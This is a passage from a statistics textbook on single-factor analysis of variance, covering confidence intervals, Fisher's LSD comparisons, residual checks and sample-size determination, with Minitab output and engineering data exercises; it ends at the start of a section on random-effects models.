The Minitab output also presents 95% confidence intervals on each individual treatment mean. The mean of the ith treatment is defined as

$$\mu_i = \mu + \tau_i \qquad i = 1, 2, \ldots, a$$

A point estimator of μ_i is $\hat{\mu}_i = \overline{Y}_{i.}$. Now, if we assume that the errors are normally distributed, each treatment average is normally distributed with mean μ_i and variance σ^2/n. Thus, if σ^2 were known, we could use the normal distribution to construct a CI. Using MS_E as an estimator of σ^2 (the square root of MS_E is the "Pooled StDev" referred to in the Minitab output), we would base the CI on the t distribution, since

$$T = \frac{\overline{Y}_{i\cdot} - \mu_i}{\sqrt{MS_E/n}}$$

has a t distribution with $a(n-1)$ degrees of freedom. This leads to the following definition of the confidence interval.

Confidence Interval on a Treatment Mean

A $100(1-\alpha)$ percent confidence interval on the mean of the ith treatment μ_i is

$$\bar{y}_{i\cdot} - t_{\alpha/2,a(n-1)}\sqrt{\frac{MS_E}{n}} \le \mu_i \le \bar{y}_{i\cdot} + t_{\alpha/2,a(n-1)}\sqrt{\frac{MS_E}{n}} \qquad (13\text{-}11)$$

Table 13-5 Minitab Analysis of Variance Output for Example 13-1

```
One-Way ANOVA: Strength versus CONC

Analysis of Variance for Strength

Source     DF        SS        MS        F        P
Conc        3    382.79    127.60    19.61    0.000
Error      20    130.17      6.51
Total      23    512.96                 Individual 95% CIs For Mean
                                        Based on Pooled StDev
Level     N     Mean     StDev          —- + ——- + ——- + ——- +−
  5       6   10.000     2.828          (—*—)
 10       6   15.667     2.805                (—*—)
 15       6   17.000     1.789                   (—*—)
 20       6   21.167     2.639                      (—*—)
                                        —- + ———- + ———- + ———- + -
Pooled StDev =     2.551                 10.0      15.0      20.0      25.0

Fisher's pairwise comparisons

   Family error rate = 0.192
Individual error rate = 0.0500

Critical value = 2.086

Intervals for (column level mean) − (row level mean)
                 5          10          15
 10         −8.739
            −2.594
 15        −10.072      −4.406
            −3.928       1.739
 20        −14.239      −8.572      −7.239
            −8.094      −2.428      −1.094
```

Equation 13-11 is used to calculate the 95% CIs shown graphically in the Minitab output of Table 13-5. For example, at 20% hardwood the point estimate of the mean is $\bar{y}_{4\cdot} = 21.167$, $MS_E = 6.51$, and $t_{0.025,20} = 2.086$, so the 95% CI is

$$[\bar{y}_{4\cdot} \pm t_{0.025,20}\sqrt{MS_E/n}]$$
$$[21.167 \pm (2.086)\sqrt{6.51/6}]$$

or

$$19.00 \text{ psi} \le \mu_4 \le 23.34 \text{ psi}$$

It can also be interesting to find confidence intervals on the difference in two treatment means, say, $\mu_i - \mu_j$. The point estimator of $\mu_i - \mu_j$ is $\bar{Y}_{i\cdot} - \bar{Y}_{j\cdot}$, and the variance of this estimator is

$$V(\bar{Y}_{i\cdot} - \bar{Y}_{j\cdot}) = \frac{\sigma^2}{n} + \frac{\sigma^2}{n} = \frac{2\sigma^2}{n}$$

Now if we use MS_E to estimate σ^2,

$$T = \frac{\bar{Y}_{i\cdot} - \bar{Y}_{j\cdot} - (\mu_i - \mu_j)}{\sqrt{2MS_E/n}}$$

has a t distribution with $a(n - 1)$ degrees of freedom. Therefore, a CI on $\mu_i - \mu_j$ may be based on the t distribution.

Confidence Interval on a Difference in Treatment Means

A $100(1 - \alpha)$ percent confidence interval on the difference in two treatment means $\mu_i - \mu_j$ is

$$\bar{y}_{i\cdot} - \bar{y}_{j\cdot} - t_{\alpha/2,a(n-1)}\sqrt{\frac{2MS_E}{n}} \le \mu_i - \mu_j \le \bar{y}_{i\cdot} - \bar{y}_{j\cdot} + t_{\alpha/2,a(n-1)}\sqrt{\frac{2MS_E}{n}} \tag{13-12}$$

A 95% CI on the difference in means $\mu_3 - \mu_2$ is computed from Equation 13-12 as follows:

$$[\bar{y}_{3\cdot} - \bar{y}_{2\cdot} \pm t_{0.025,20}\sqrt{2MS_E/n}]$$

$$[17.00 - 15.67 \pm (2.086)\sqrt{2(6.51)/6}]$$

or

$$-1.74 \le \mu_3 - \mu_2 \le 4.40$$

Since the CI includes zero, we would conclude that there is no difference in mean tensile strength at these two particular hardwood levels.

The bottom portion of the computer output in Table 13-5 provides additional information concerning which specific means are different. We will discuss this in more detail in Section 13-2.3.

An Unbalanced Experiment

In some single-factor experiments, the number of observations taken under each treatment may be different. We then say that the design is **unbalanced.** In this situation, slight modifications must be made in the sums of squares formulas. Let n_i observations be taken under treatment i ($i = 1, 2, \ldots, a$), and let the total number of observations $N = \sum_{i=1}^{a} n_i$. The computational formulas for SS_T and $SS_{\text{Treatments}}$ are as shown in the following definition.

Computing Formulas for ANOVA: Single Factor with Unequal Sample Sizes

The sums of squares computing formulas for the ANOVA with unequal sample sizes n_i in each treatment are

$$SS_T = \sum_{i=1}^{a}\sum_{j=1}^{n_i} y_{ij}^2 - \frac{y_{\cdot\cdot}^2}{N} \tag{13-13}$$

$$SS_{\text{Treatments}} = \sum_{i=1}^{a} \frac{y_{i\cdot}^2}{n_i} - \frac{y_{\cdot\cdot}^2}{N} \tag{13-14}$$

and

$$SS_E = SS_T - SS_{\text{Treatments}} \tag{13-15}$$

Choosing a balanced design has two important advantages. First, the ANOVA is relatively insensitive to small departures from the assumption of equality of variances if the sample sizes are equal. This is not the case for unequal sample sizes. Second, the power of the test is maximized if the samples are of equal size.

13-2.3 Multiple Comparisons Following the ANOVA

When the null hypothesis H_0: $\tau_1 = \tau_2 = \cdots = \tau_a = 0$ is rejected in the ANOVA, we know that some of the treatment or factor level means are different. However, the ANOVA doesn't identify which means are different. Methods for investigating this issue are called **multiple comparisons methods.** Many of these procedures are available. Here we describe a very simple one, Fisher's **least significant difference** (LSD) method and a graphical method. Montgomery (2009) presents these and other methods and provides a comparative discussion.

The Fisher LSD method compares all pairs of means with the null hypotheses H_0: $\mu_i = \mu_j$ (for all $i \neq j$) using the t-statistic

$$t_0 = \frac{\bar{y}_{i\cdot} - \bar{y}_{j\cdot}}{\sqrt{\dfrac{2MS_E}{n}}}$$

Assuming a two-sided alternative hypothesis, the pair of means μ_i and μ_j would be declared significantly different if

$$|\bar{y}_{i\cdot} - \bar{y}_{j\cdot}| > \text{LSD}$$

where LSD, the **least significant difference,** is

Least Significant Difference for Multiple Comparisons

$$\text{LSD} = t_{\alpha/2,a(n-1)}\sqrt{\frac{2MS_E}{n}} \tag{13-16}$$

If the sample sizes are different in each treatment, the LSD is defined as

$$\text{LSD} = t_{\alpha/2,N-a}\sqrt{MS_E\left(\frac{1}{n_i} + \frac{1}{n_j}\right)}$$

EXAMPLE 13-2

We will apply the Fisher LSD method to the hardwood concentration experiment. There are $a = 4$ means, $n = 6$, $MS_E = 6.51$, and $t_{0.025,20} = 2.086$. The treatment means are

$$\bar{y}_{1\cdot} = 10.00 \text{ psi}$$
$$\bar{y}_{2\cdot} = 15.67 \text{ psi}$$
$$\bar{y}_{3\cdot} = 17.00 \text{ psi}$$
$$\bar{y}_{4\cdot} = 21.17 \text{ psi}$$

The value of LSD is $\text{LSD} = t_{0.025,20}\sqrt{2MS_E/n} = 2.086\sqrt{2(6.51)/6} = 3.07$. Therefore, any pair of treatment averages that differs by more than 3.07 implies that the corresponding pair of treatment means are different.

The comparisons among the observed treatment averages are as follows:

$$4 \text{ vs. } 1 = 21.17 - 10.00 = 11.17 > 3.07$$
$$4 \text{ vs. } 2 = 21.17 - 15.67 = 5.50 > 3.07$$
$$4 \text{ vs. } 3 = 21.17 - 17.00 = 4.17 > 3.07$$
$$3 \text{ vs. } 1 = 17.00 - 10.00 = 7.00 > 3.07$$
$$3 \text{ vs. } 2 = 17.00 - 15.67 = 1.33 < 3.07$$
$$2 \text{ vs. } 1 = 15.67 - 10.00 = 5.67 > 3.07$$

Figure 13-2 Results of Fisher's LSD method in Example 13-2.

Conclusions: From this analysis, we see that there are significant differences between all pairs of means except 2 and 3. This implies that 10% and 15% hardwood concentration produce approximately the same tensile strength and that all other concentration levels tested produce different tensile strengths.

It is often helpful to draw a graph of the treatment means, such as in Fig. 13-2, with the means that are *not* different underlined. This graph clearly reveals the results of the experiment and shows that 20% hardwood produces the maximum tensile strength.

The Minitab output in Table 13-5 shows the Fisher LSD method under the heading "Fisher's pairwise comparisons." The critical value reported is actually the value of $t_{0.025,20} = 2.086$. Minitab implements Fisher's LSD method by computing **confidence intervals** on all pairs of treatment means using Equation 13-12. The lower and upper 95% confidence limits are shown at the bottom of the table. Notice that the only pair of means for which the confidence interval includes zero is for μ_{10} and μ_{15}. This implies that μ_{10} and μ_{15} are not significantly different, the same result found in Example 13-2.

Table 13-5 also provides a "family error rate," equal to 0.192 in this example. When all possible pairs of means are tested, the probability of at least one type I error can be much greater than for a single test. We can interpret the family error rate as follows. The probability is $1 - 0.192 = 0.808$ that there are no type I errors in the six comparisons. The family error rate in Table 13-5 is based on the distribution of the range of the sample means. See Montgomery (2009) for details. Alternatively, Minitab permits you to specify a family error rate and will then calculate an individual error rate for each comparison.

Graphical Comparison of Means

It is easy to compare treatment means graphically, following the analysis of variance. Suppose that the factor has a levels and that $\bar{y}_{1\cdot}, \bar{y}_{2\cdot}, \ldots, \bar{y}_{a\cdot}$ are the observed averages for these factor levels. Each treatment average has standard deviation $\sigma/\sqrt{n}$, where σ is the standard deviation of an individual observation. If all treatment means are equal, the observed means $\bar{y}_{i\cdot}$ would behave as if they were a set of observations drawn at random from a normal distribution with mean μ and standard deviation $\sigma/\sqrt{n}$.

Visualize this normal distribution capable of being slid along an axis below which the treatment means $\bar{y}_{1\cdot}, \bar{y}_{2\cdot}, \ldots, \bar{y}_{a\cdot}$ are plotted. If all treatment means are equal, there should be some position for this distribution that makes it obvious that the $\bar{y}_{i\cdot}$ values were drawn from the same distribution. If this is not the case, the $\bar{y}_{i\cdot}$ values that do not appear to have been drawn from this distribution are associated with treatments that produce different mean responses.

The only flaw in this logic is that σ is unknown. However, we can use $\sqrt{MS_E}$ from the analysis of variance to estimate σ. This implies that a t distribution should be used instead of the normal in making the plot, but since the t looks so much like the normal, sketching a normal curve that is approximately $6\sqrt{MS_E/n}$ units wide will usually work very well.

Figure 13-3 shows this arrangement for the hardwood concentration experiment in Example 13-1. The standard deviation of this normal distribution is

$$\sqrt{MS_E/n} = \sqrt{6.51/6} = 1.04$$

If we visualize sliding this distribution along the horizontal axis, we note that there is no location for the distribution that would suggest that all four observations (the plotted means) are typical, randomly selected values from that distribution. This, of course, should be expected, because the

Figure 13-3 Tensile strength averages from the hardwood concentration experiment in relation to a normal distribution with standard deviation $\sqrt{MS_E/n} = \sqrt{6.51/6} = 1.04$.

analysis of variance has indicated that the means differ, and the display in Fig. 13-3 is just a graphical representation of the analysis of variance results. The figure does indicate that treatment 4 (20% hardwood) produces paper with higher mean tensile strength than do the other treatments, and treatment 1 (5% hardwood) results in lower mean tensile strength than do the other treatments. The means of treatments 2 and 3 (10% and 15% hardwood, respectively) do not differ.

This simple procedure is a rough but very effective multiple comparison technique. It works well in many situations.

13-2.4 Residual Analysis and Model Checking

The analysis of variance assumes that the observations are normally and independently distributed with the same variance for each treatment or factor level. These assumptions should be checked by examining the residuals. A **residual** is the difference between an observation y_{ij} and its estimated (or fitted) value from the statistical model being studied, denoted as $\hat{y}_{ij}$. For the completely randomized design $\hat{y}_{ij} = \bar{y}_{i\cdot}$ and each residual is $e_{ij} = y_{ij} - \bar{y}_{i\cdot}$, that is, the difference between an observation and the corresponding observed treatment mean. The residuals for the paper tensile strength experiment are shown in Table 13-6. Using $\bar{y}_{i\cdot}$ to calculate each residual essentially removes the effect of hardwood concentration from the data; consequently, the residuals contain information about unexplained variability.

The normality assumption can be checked by constructing a **normal probability plot** of the residuals. To check the assumption of equal variances at each factor level, plot the residuals against the factor levels and compare the spread in the residuals. It is also useful to plot the residuals against $\bar{y}_{i\cdot}$ (sometimes called the fitted value); the variability in the residuals should not depend in any way on the value of $\bar{y}_{i\cdot}$. Most statistical software packages will construct these plots on request. When a pattern appears in these plots, it usually suggests the need for a transformation, that is, analyzing the data in a different metric. For example, if the variability in the residuals increases with $\bar{y}_{i\cdot}$, a transformation such as $\log y$ or $\sqrt{y}$ should be considered. In some problems, the dependency of residual scatter on the observed mean $\bar{y}_{i\cdot}$ is very important information. It may be desirable to select the factor level that results in maximum response; however, this level may also cause more variation in response from run to run.

Table 13-6 Residuals for the Tensile Strength Experiment

Hardwood Concentration (%)	Residuals					
5	−3.00	−2.00	5.00	1.00	−1.00	0.00
10	−3.67	1.33	−2.67	2.33	3.33	−0.67
15	−3.00	1.00	2.00	0.00	−1.00	1.00
20	−2.17	3.83	0.83	1.83	−3.17	−1.17

The independence assumption can be checked by plotting the residuals against the time or run order in which the experiment was performed. A pattern in this plot, such as sequences of positive and negative residuals, may indicate that the observations are not independent. This suggests that time or run order is important or that variables that change over time are important and have not been included in the experimental design.

A normal probability plot of the residuals from the paper tensile strength experiment is shown in Fig. 13-4. Figures 13-5 and 13-6 present the residuals plotted against the factor levels and the fitted value $\bar{y}_{i.}$ respectively. These plots do not reveal any model inadequacy or unusual problem with the assumptions.

13-2.5 Determining Sample Size

In any experimental design problem, the choice of the sample size or number of replicates to use is important. **Operating characteristic curves** can be used to provide guidance in making this selection. Recall that an operating characteristic curve is a plot of the probability of a type II

Figure 13-4 Normal probability plot of residuals from the hardwood concentration experiment.

Figure 13-5 Plot of residuals versus factor levels (hardwood concentration).

Figure 13-6 Plot of residuals versus $\bar{y}_{i.}$

error (β) for various sample sizes against values of the parameters under test. The operating characteristic curves can be used to determine how many replicates are required to achieve adequate sensitivity.

The power of the ANOVA test is

$$\begin{aligned} 1 - \beta &= P\{\text{Reject } H_0 \mid H_0 \text{ is false}\} \\ &= P\{F_0 > f_{\alpha, a-1, a(n-1)} \mid H_0 \text{ is false}\} \end{aligned} \tag{13-17}$$

To evaluate this probability statement, we need to know the distribution of the test statistic F_0 if the null hypothesis is false. Because ANOVA compares several means, the null hypothesis can be false in different ways. For example, possibly $\tau_1 > 0$, $\tau_2 = 0$, $\tau_3 < 0$, and so forth. It can be shown that the power for ANOVA in Equation 13-17 depends on the τ_i's only through the function

$$\Phi^2 = \frac{n \sum_{i=1}^{a} \tau_i^2}{a\sigma^2}$$

Therefore, alternative hypotheses for the τ_i's can be used to calculate Φ^2 and this in turn can be used to calculate the power. Specifically, it can be shown that if H_0 is false, the statistic $F_0 = MS_{\text{Treatments}}/MS_E$ has a **noncentral *F* distribution,** with $a - 1$ and $n(a - 1)$ degrees of freedom and a noncentrality parameter that depends on Φ^2. Instead of tables for the noncentral F distribution, operating characteristic curves are used to evaluate β defined in Equation 13-17. These curves plot β against Φ.

Curves are available for $\alpha = 0.05$ and $\alpha = 0.01$ and for several values of the number of degrees of freedom for numerator (denoted v_1) and denominator (denoted v_2). Figure 13-7 gives representative O.C. curves, one for $a = 4$ ($v_1 = 3$) and one for $a = 5$ ($v_1 = 4$) treatments. Notice that for each value of a there are curves for $\alpha = 0.05$ and $\alpha = 0.01$.

In using the operating curves, we must define the difference in means that we wish to detect in terms of $\sum_{i=1}^{a} \tau_i^2$. Also, the error variance σ^2 is usually unknown. In such cases, we must choose ratios of $\sum_{i=1}^{a} \tau_i^2/\sigma^2$ that we wish to detect. Alternatively, if an estimate of σ^2 is available, one may replace σ^2 with this estimate. For example, if we were interested in the sensitivity of an experiment that has already been performed, we might use MS_E as the estimate of σ^2.

EXAMPLE 13-3

Suppose that five means are being compared in a completely randomized experiment with $\alpha = 0.01$. The experimenter would like to know how many replicates to run if it is important to reject H_0 with probability at least 0.90 if $\sum_{i=1}^{5} \tau_i^2/\sigma^2 = 5.0$. The parameter Φ^2 is, in this case,

$$\Phi^2 = \frac{n \sum_{i=1}^{a} \tau_i^2}{a\sigma^2} = \frac{n}{5}(5) = n$$

and for the operating characteristic curve with $v_1 = a - 1 = 5 - 1 = 4$, and $v_2 = a(n - 1) = 5(n - 1)$ error degrees of freedom refer to the lower curve in Figure 13-7. As a first guess, try $n = 4$ replicates. This yields $\Phi^2 = 4$, $\Phi = 2$, and $v_2 = 5(3) = 15$ error degrees of freedom. Consequently, from Figure 13-7, we find that $\beta \simeq 0.38$. Therefore, the power of the test is approximately $1 - \beta = 1 - 0.38 = 0.62$, which is less than the required 0.90, and so we conclude that $n = 4$ replicates is not sufficient. Proceeding in a similar manner, we can construct the following table:

n	Φ^2	Φ	$a(n-1)$	β	Power $= (1 - \beta)$
4	4	2.00	15	0.38	0.62
5	5	2.24	20	0.18	0.82
6	6	2.45	25	0.06	0.94

Conclusions: At least $n = 6$ replicates must be run in order to obtain a test with the required power.

Figure 13-7 Two Operating Characteristic curves for the fixed-effects model analysis of variance. Top curves for four treatments and bottom curves for five treatments.

EXERCISES FOR SECTION 13-2

13-1. Consider the computer output below.

One-way ANOVA: y versus Factor

Source	DF	SS	MS	F	P
Factor	?	117.4	39.1	?	?
Error	16	396.8	?		
Total	19	514.2			

(a) How many levels of the factor were used in this experiment?
(b) How many replicates did the experimenter use?
(c) Fill in the missing information in the ANOVA table. Use bounds for the *P*-value.
(d) What conclusions can you draw about differences in the factor level means?

13-2. An article in *Nature* describes an experiment to investigate the effect on consuming chocolate on cardiovascular health ("Plasma Antioxidants from Chocolate," Vol. 424, 2003, pp. 1013). The experiment consisted of using three different types of chocolates: 100 g of dark chocolate, 100 g of dark chocolate with 200 ml of full-fat milk, and 200 g of milk chocolate. Twelve subjects were used, seven women and five men, with an average age range of 32.2 ± 1 years, an average weight of 65.8 ± 3.1 kg, and body-mass index of 21.9 ± 0.4 kg m^{-2}. On different days, a subject consumed one of the chocolate-factor levels, and one hour later the total antioxidant capacity of their blood plasma was measured in an assay. Data similar to those summarized in the article are shown below.

Factor	Subjects (Observations)											
	1	2	3	4	5	6	7	8	9	10	11	12
DC	118.8	122.6	115.6	113.6	119.5	115.9	115.8	115.1	116.9	115.4	115.6	107.9
DC+MK	105.4	101.1	102.7	97.1	101.9	98.9	100.0	99.8	102.6	100.9	104.5	93.5
MC	102.1	105.8	99.6	102.7	98.8	100.9	102.8	98.7	94.7	97.8	99.7	98.6

(a) Construct comparative box plots and study the data. What visual impression do you have from examining these plots?
(b) Analyze the experimental data using an ANOVA. If $\alpha = 0.05$, what conclusions would you draw? What would you conclude if $\alpha = 0.01$?
(c) Is there evidence that the dark chocolate increases the mean antioxidant capacity of the subjects' blood plasma?
(d) Analyze the residuals from this experiment.

13-3. In *Design and Analysis of Experiments*, 7th edition (John Wiley & Sons, 2009) D. C. Montgomery described an experiment in which the tensile strength of a synthetic fiber was of interest to the manufacturer. It is suspected that strength is related to the percentage of cotton in the fiber. Five levels of cotton percentage were used, and five replicates were run in random order, resulting in the data below.

Cotton Percentage	Observations				
	1	2	3	4	5
15	7	7	15	11	9
20	12	17	12	18	18
25	14	18	18	19	19
30	19	25	22	19	23
35	7	10	11	15	11

(a) Does cotton percentage affect breaking strength? Draw comparative box plots and perform an analysis of variance. Use $\alpha = 0.05$.
(b) Plot average tensile strength against cotton percentage and interpret the results.
(c) Analyze the residuals and comment on model adequacy.

13-4. In "Orthogonal Design for Process Optimization and Its Application to Plasma Etching" (*Solid State Technology*, May 1987), G. Z. Yin and D. W. Jillie describe an experiment to determine the effect of C_2F_6 flow rate on the uniformity of the etch on a silicon wafer used in integrated circuit manufacturing. Three flow rates are used in the experiment, and the resulting uniformity (in percent) for six replicates is shown below.

C_2F_6 Flow (SCCM)	Observations					
	1	2	3	4	5	6
125	2.7	4.6	2.6	3.0	3.2	3.8
160	4.9	4.6	5.0	4.2	3.6	4.2
200	4.6	3.4	2.9	3.5	4.1	5.1

(a) Does C_2F_6 flow rate affect etch uniformity? Construct box plots to compare the factor levels and perform the analysis of variance. Use $\alpha = 0.05$.
(b) Do the residuals indicate any problems with the underlying assumptions?

13-5. The compressive strength of concrete is being studied, and four different mixing techniques are being investigated. The following data have been collected.

Mixing Technique	Compressive Strength (psi)			
1	3129	3000	2865	2890
2	3200	3300	2975	3150
3	2800	2900	2985	3050
4	2600	2700	2600	2765

(a) Test the hypothesis that mixing techniques affect the strength of the concrete. Use $\alpha = 0.05$.
(b) Find the P-value for the F-statistic computed in part (a).
(c) Analyze the residuals from this experiment.

13-6. The response time in milliseconds was determined for three different types of circuits in an electronic calculator. The results are recorded here.

Circuit Type	Response				
1	19	22	20	18	25
2	20	21	33	27	40
3	16	15	18	26	17

(a) Using $\alpha = 0.01$, test the hypothesis that the three circuit types have the same response time.
(b) Analyze the residuals from this experiment.
(c) Find a 95% confidence interval on the response time for circuit three.

13-7. An electronics engineer is interested in the effect on tube conductivity of five different types of coating for cathode ray tubes in a telecommunications system display device. The following conductivity data are obtained.

Coating Type	Conductivity			
1	143	141	150	146
2	152	149	137	143
3	134	133	132	127
4	129	127	132	129
5	147	148	144	142

(a) Is there any difference in conductivity due to coating type? Use $\alpha = 0.01$.
(b) Analyze the residuals from this experiment.
(c) Construct a 95% interval estimate of the coating type 1 mean. Construct a 99% interval estimate of the mean difference between coating types 1 and 4.

13-8. An article in *Environment International* (Vol. 18, No. 4, 1992) described an experiment in which the amount of radon released in showers was investigated. Radon-enriched water was used in the experiment, and six different orifice diameters were tested in shower heads. The data from the experiment are shown in the following table.

Orifice Diameter	Radon Released (%)			
0.37	80	83	83	85
0.51	75	75	79	79
0.71	74	73	76	77
1.02	67	72	74	74
1.40	62	62	67	69
1.99	60	61	64	66

(a) Does the size of the orifice affect the mean percentage of radon released? Use $\alpha = 0.05$.
(b) Find the P-value for the F-statistic in part (a).
(c) Analyze the residuals from this experiment.
(d) Find a 95% confidence interval on the mean percent of radon released when the orifice diameter is 1.40.

13-9. An article in the *ACI Materials Journal* (Vol. 84, 1987, pp. 213–216) described several experiments investigating the rodding of concrete to remove entrapped air. A 3-inch $\times$ 6-inch cylinder was used, and the number of times this rod was used is the design variable. The resulting compressive strength of the concrete specimen is the response. The data are shown in the following table.

Rodding Level	Compressive Strength		
10	1530	1530	1440
15	1610	1650	1500
20	1560	1730	1530
25	1500	1490	1510

(a) Is there any difference in compressive strength due to the rodding level?
(b) Find the P-value for the F-statistic in part (a).
(c) Analyze the residuals from this experiment. What conclusions can you draw about the underlying model assumptions?

13-10. An article in the *Materials Research Bulletin* (Vol. 26, No. 11, 1991) investigated four different methods of preparing the superconducting compound $PbMo_6S_8$. The authors contend that the presence of oxygen during the preparation process affects the material's superconducting transition temperature T_c. Preparation methods 1 and 2 use techniques that are designed to eliminate the presence of oxygen, while methods 3 and 4 allow oxygen to be present. Five observations on T_c (in °K) were made for each method, and the results are as follows:

Preparation Method	Transition Temperature T_c(°K)				
1	14.8	14.8	14.7	14.8	14.9
2	14.6	15.0	14.9	14.8	14.7
3	12.7	11.6	12.4	12.7	12.1
4	14.2	14.4	14.4	12.2	11.7

(a) Is there evidence to support the claim that the presence of oxygen during preparation affects the mean transition temperature? Use $\alpha = 0.05$.
(b) What is the P-value for the F-test in part (a)?
(c) Analyze the residuals from this experiment.
(d) Find a 95% confidence interval on mean T_c when method 1 is used to prepare the material.

13-11. A paper in the *Journal of the Association of Asphalt Paving Technologists* (Vol. 59, 1990) describes an experiment to determine the effect of air voids on percentage retained strength of asphalt. For purposes of the experiment, air voids are controlled at three levels; low (2–4%), medium (4–6%), and high (6–8%). The data are shown in the following table.

Air Voids	Retained Strength (%)							
Low	106	90	103	90	79	88	92	95
Medium	80	69	94	91	70	83	87	83
High	78	80	62	69	76	85	69	85

(a) Do the different levels of air voids significantly affect mean retained strength? Use $\alpha = 0.01$.

(b) Find the *P*-value for the *F*-statistic in part (a).

(c) Analyze the residuals from this experiment.

(d) Find a 95% confidence interval on mean retained strength where there is a high level of air voids.

(e) Find a 95% confidence interval on the difference in mean retained strength at the low and high levels of air voids.

13-12. An article in *Quality Engineering* ["Estimating Sources of Variation: A Case Study from Polyurethane Product Research" (1999–2000, Vol. 12, pp. 89–96)] studied the effects of additives on final polymer properties. In this case, polyurethane additives were referred to as cross-linkers. The average domain spacing was the measurement of the polymer property. The data are as follows:

Cross-Linker Level	Domain Spacing (nm)					
−1	8.2	8	8.2	7.9	8.1	8
−0.75	8.3	8.4	8.3	8.2	8.3	8.1
−0.5	8.9	8.7	8.9	8.4	8.3	8.5
0	8.5	8.7	8.7	8.7	8.8	8.8
0.5	8.8	9.1	9.0	8.7	8.9	8.5
1	8.6	8.5	8.6	8.7	8.8	8.8

(a) Is there a difference in the cross-linker level? Draw comparative boxplots and perform an analysis of variance. Use $\alpha = 0.05$.

(b) Find the *P*-value of the test. Estimate the variability due to random error.

(c) Plot average domain spacing against cross-linker level and interpret the results.

(d) Analyze the residuals from this experiment and comment on model adequacy.

13-13. In the book *Analysis of Longitudinal Data*, 2nd ed., (2002, Oxford University Press), by Diggle, Heagerty, Liang, and Zeger, the authors analyzed the effects of three diets on the protein content of cow's milk. The data shown here were collected after one week and include 25 cows on the barley diet, and 27 cows each on the other two diets:

Diet	Protein Content of Cow's Milk													
Barley	3.63	3.24	3.98	3.66	4.34	4.36	4.17	4.4	3.4	3.75	4.2	4.02	4.02	3.9
Barley+lupins	3.38	3.8	4.17	4.59	4.07	4.32	3.56	3.67	4.15	3.51	4.2	4.12	3.52	4.08
Lupins	3.69	4.2	3.31	3.13	3.73	4.32	3.04	3.84	3.98	4.18	4.2	4.1	3.25	3.34
Diet (continued)														
Barley	3.81	3.62	3.66	4.44	4.23	3.82	3.53	4.47	3.93	3.27	3.3			
Barley+lupins	4.02	3.18	4.11	3.27	3.27	3.97	3.31	4.12	3.92	3.78	4	4.37	3.79	
Lupins	3.5	4.13	3.21	3.9	3.5	4.1	2.69	4.3	4.06	3.88	4	3.67	4.27	

(a) Does diet affect the protein content of cow's milk? Draw comparative boxplots and perform an analysis of variance. Use $\alpha = 0.05$.

(b) Find the *P*-value of the test. Estimate the variability due to random error.

(c) Plot average protein content against diets and interpret the results.

(d) Analyze the residuals and comment on model adequacy.

13-14. An article in *Journal of Food Science* (2001, Vol. 66, No. 3, pp. 472–477) studied potato spoilage based on different conditions of acidified oxine (AO), which is a mixture of chlorite and chlorine dioxide. The data are shown below:

AO Solution (ppm)	% Spoilage		
50	100	50	60
100	60	30	30
200	60	50	29
400	25	30	15

(a) Do the AO solutions differ in the spoilage percentage? Use $\alpha = 0.05$.

(b) Find the *P*-value of the test. Estimate the variability due to random error.

(c) Plot average spoilage against AO solution and interpret the results. Which AO solution would you recommend for use in practice?
(d) Analyze the residuals from this experiment.

13-15. An experiment was run to determine whether four specific firing temperatures affect the density of a certain type of brick. The experiment led to the following data.

Temperature (°F)	Density						
100	21.8	21.9	21.7	21.6	21.7	21.5	21.8
125	21.7	21.4	21.5	21.5	—	—	—
150	21.9	21.8	21.8	21.6	21.5	—	—
175	21.9	21.7	21.8	21.7	21.6	21.8	—

(a) Does the firing temperature affect the density of the bricks? Use $\alpha = 0.05$.
(b) Find the P-value for the F-statistic computed in part (a).
(c) Analyze the residuals from the experiment.

13-16. (a) Use Fisher's LSD method with $\alpha = 0.05$ to analyze the means of the three types of chocolate in Exercise 13-4.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-17. (a) Use Fisher's LSD method with $\alpha = 0.05$ to analyze the means of the five different levels of cotton content in Exercise 13-3.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-18. (a) Use Fisher's LSD method with $\alpha = 0.01$ to analyze the mean response times for the three circuits described in Exercise 13-6.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-19. (a) Use Fisher's LSD method with $\alpha = 0.05$ to analyze the mean compressive strength of the four mixing techniques in Exercise 13-5.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-20. (a) Use Fisher's LSD method with $\alpha = 0.05$ to analyze the mean amounts of radon released in the experiment described in Exercise 13-8.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-21. (a) Use Fisher's LSD method with $\alpha = 0.01$ to analyze the five means for the coating types described in Exercise 13-7.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-22. (a) Apply Fisher's LSD method with $\alpha = 0.05$ to the superconducting material experiment described in Exercise 13-10. Which preparation methods differ?
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-23. (a) Apply Fisher's LSD method to the air void experiment described in Exercise 13-11. Using $\alpha = 0.05$, which treatment means are different?
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-24. (a) Apply Fisher's LSD method to the domain spacing data in Exercise 13-12. Which cross-linker levels differ? Use $\alpha = 0.05$.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-25. (a) Apply Fisher's LSD method to the data on protein content of milk in Exercise 13-13. Which diets differ? Use $\alpha = 0.01$.
(b) Use the graphical method to compare means described in this section and compare your conclusions to those from Fisher's LSD method.

13-26. Suppose that four normal populations have common variance $\sigma^2 = 25$ and means $\mu_1 = 50$, $\mu_2 = 60$, $\mu_3 = 50$, and $\mu_4 = 60$. How many observations should be taken on each population so that the probability of rejecting the hypothesis of equality of means is at least 0.90? Use $\alpha = 0.05$.

13-27. Suppose that five normal populations have common variance $\sigma^2 = 100$ and means $\mu_1 = 175$, $\mu_2 = 190$, $\mu_3 = 160$, $\mu_4 = 200$, and $\mu_5 = 215$. How many observations per population must be taken so that the probability of rejecting the hypothesis of equality of means is at least 0.95? Use $\alpha = 0.01$.

13-3 THE RANDOM-EFFECTS MODEL

13-3.1 Fixed Versus Random Factors

In many situations, the factor of interest has a large number of possible levels. The analyst is interested in drawing conclusions about the entire population of factor levels. If the experimenter randomly selects a of these levels from the population of factor levels, we say that the factor is a

